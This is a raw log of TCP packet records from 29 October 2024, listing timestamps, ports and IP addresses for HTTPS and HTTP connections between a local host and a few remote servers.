Oct 29, 2024 20:35:08.692740917 CET	80	49781	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:08.692811012 CET	49781	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:09.267807961 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.270190001 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.273689985 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.273710966 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.276070118 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.276078939 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.277251005 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.277259111 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.277863026 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.277868986 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.280108929 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.281866074 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.281884909 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.282526970 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.282532930 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.287610054 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.287974119 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.288017035 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.288882017 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.288889885 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.307163000 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.307534933 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.307545900 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.308042049 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.308048964 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.401617050 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.401786089 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.401854992 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.402046919 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.402061939 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.402076006 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.402081013 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.403198004 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.403274059 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.404167891 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.404295921 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.404299974 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.404309988 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.404314041 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.405405998 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.405441046 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.405664921 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.405888081 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.405899048 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.406961918 CET	49801	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.406997919 CET	443	49801	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.407623053 CET	49801	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.407805920 CET	49801	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.407820940 CET	443	49801	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.415299892 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.415366888 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.415647030 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.416157961 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.416157961 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.416172028 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.416181087 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.416714907 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.416776896 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.416896105 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.417078018 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.417093039 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.417104006 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.417110920 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.420183897 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.420216084 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.420351028 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.420527935 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.420542002 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.421801090 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.421832085 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.421921968 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.422086000 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.422101974 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.438636065 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.438893080 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.438942909 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.439104080 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.439111948 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.439124107 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.439129114 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.442354918 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.442392111 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:09.442459106 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.442642927 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:09.442660093 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.150199890 CET	443	49801	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.153002977 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.160001040 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.192580938 CET	49801	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.192614079 CET	443	49801	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.192794085 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.192821980 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.193351984 CET	49801	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.193360090 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.193366051 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.193367004 CET	443	49801	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.193573952 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.193809032 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.193815947 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.193839073 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.193861961 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.194300890 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.194307089 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.195477009 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.195491076 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.232867002 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.236370087 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.236393929 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.237171888 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.237183094 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.321718931 CET	443	49801	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.321940899 CET	443	49801	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.322067976 CET	49801	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.328562975 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.328629971 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.328701019 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.330796003 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.331346035 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.331408024 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.348567009 CET	49801	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.348601103 CET	443	49801	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.348618984 CET	49801	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.348624945 CET	443	49801	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.349076033 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.349076033 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.349092960 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.349112988 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.349118948 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.349123001 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.349172115 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.349178076 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.368474960 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.368545055 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.368626118 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.375861883 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.376162052 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.376228094 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.387115002 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.387147903 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.387166977 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.387173891 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.396428108 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.396428108 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.396454096 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.396466970 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.669837952 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.669893980 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.669975042 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.681124926 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.681166887 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.681307077 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.693576097 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.693614006 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.697633982 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.697678089 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.697877884 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.698086023 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.698101997 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.708826065 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.708841085 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.710551023 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.710589886 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.710686922 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.710886955 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.710902929 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.752635956 CET	49809	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.752684116 CET	443	49809	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:10.752789021 CET	49809	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.789647102 CET	49809	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:10.789673090 CET	443	49809	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.437860012 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.443774939 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.454184055 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.480249882 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.492610931 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.507900000 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.507930040 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.525352001 CET	443	49809	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.528023005 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.700604916 CET	49809	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.713957071 CET	49809	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.713969946 CET	443	49809	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.714509010 CET	49809	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.714514017 CET	443	49809	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.714808941 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.714843988 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.715370893 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.715375900 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.715945005 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.715965033 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.716401100 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.716406107 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.716861010 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.716871023 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.717420101 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.717423916 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.717986107 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.718000889 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.718673944 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.718677998 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.840560913 CET	443	49809	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.840648890 CET	443	49809	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.840775013 CET	49809	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.841150999 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.841233969 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.841295958 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.843303919 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.843429089 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.843621016 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.845380068 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.845453978 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.845515013 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.851831913 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.852091074 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.854300976 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.956229925 CET	49809	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.956264973 CET	443	49809	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.956468105 CET	49809	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.956475973 CET	443	49809	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.957564116 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.957598925 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.958755970 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.958796978 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.958811045 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.958818913 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.959338903 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.959359884 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.970896959 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.970922947 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.970935106 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.970941067 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:11.972229958 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:11.972255945 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:12.373506069 CET	49815	443	192.168.2.5	94.245.104.56
Oct 29, 2024 20:35:12.373558998 CET	443	49815	94.245.104.56	192.168.2.5
Oct 29, 2024 20:35:12.373670101 CET	49815	443	192.168.2.5	94.245.104.56
Oct 29, 2024 20:35:12.374454021 CET	49815	443	192.168.2.5	94.245.104.56
Oct 29, 2024 20:35:12.374473095 CET	443	49815	94.245.104.56	192.168.2.5
Oct 29, 2024 20:35:12.635602951 CET	49818	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.635653019 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:12.635761023 CET	49818	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.639430046 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.639481068 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:12.639556885 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.657900095 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.657943010 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:12.658015013 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.667062044 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.667107105 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:12.667167902 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.667481899 CET	49818	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.667500973 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:12.667797089 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.667834997 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:12.673439980 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.673458099 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:12.697299957 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.697338104 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:12.703454971 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.703484058 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:12.703562975 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.703764915 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:12.703773975 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.413513899 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.413949013 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.434057951 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.436497927 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.440346003 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.449718952 CET	443	49815	94.245.104.56	192.168.2.5
Oct 29, 2024 20:35:13.457884073 CET	49815	443	192.168.2.5	94.245.104.56
Oct 29, 2024 20:35:13.457902908 CET	443	49815	94.245.104.56	192.168.2.5
Oct 29, 2024 20:35:13.459135056 CET	443	49815	94.245.104.56	192.168.2.5
Oct 29, 2024 20:35:13.459201097 CET	49815	443	192.168.2.5	94.245.104.56
Oct 29, 2024 20:35:13.503309965 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.503324986 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.503324986 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.585156918 CET	49818	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.585158110 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.668531895 CET	49815	443	192.168.2.5	94.245.104.56
Oct 29, 2024 20:35:13.668687105 CET	443	49815	94.245.104.56	192.168.2.5
Oct 29, 2024 20:35:13.669348955 CET	49815	443	192.168.2.5	94.245.104.56
Oct 29, 2024 20:35:13.669363976 CET	443	49815	94.245.104.56	192.168.2.5
Oct 29, 2024 20:35:13.787072897 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.787106037 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.787166119 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.787175894 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.787714005 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.787719011 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.787735939 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.787739038 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.788022041 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.788053036 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.790004015 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.790015936 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.794020891 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.794042110 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.794523954 CET	49818	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.794545889 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.794852972 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.794857979 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.795075893 CET	49818	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.795080900 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.811522007 CET	49815	443	192.168.2.5	94.245.104.56
Oct 29, 2024 20:35:13.861406088 CET	80	49781	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:13.861469984 CET	49781	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:13.907013893 CET	443	49815	94.245.104.56	192.168.2.5
Oct 29, 2024 20:35:13.911844969 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.911920071 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.912013054 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.913355112 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.913774014 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.913857937 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.916562080 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.916800976 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.918138981 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.922110081 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.922662020 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.922719955 CET	49818	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.922738075 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.922806025 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.922862053 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.923980951 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.924001932 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.924006939 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.924020052 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.924025059 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.924026966 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.924045086 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.924051046 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.926263094 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.926273108 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.926285028 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.926290989 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.926387072 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.926414013 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.926430941 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:13.926436901 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:13.938483000 CET	49818	443	192.168.2.5	13.107.246.45
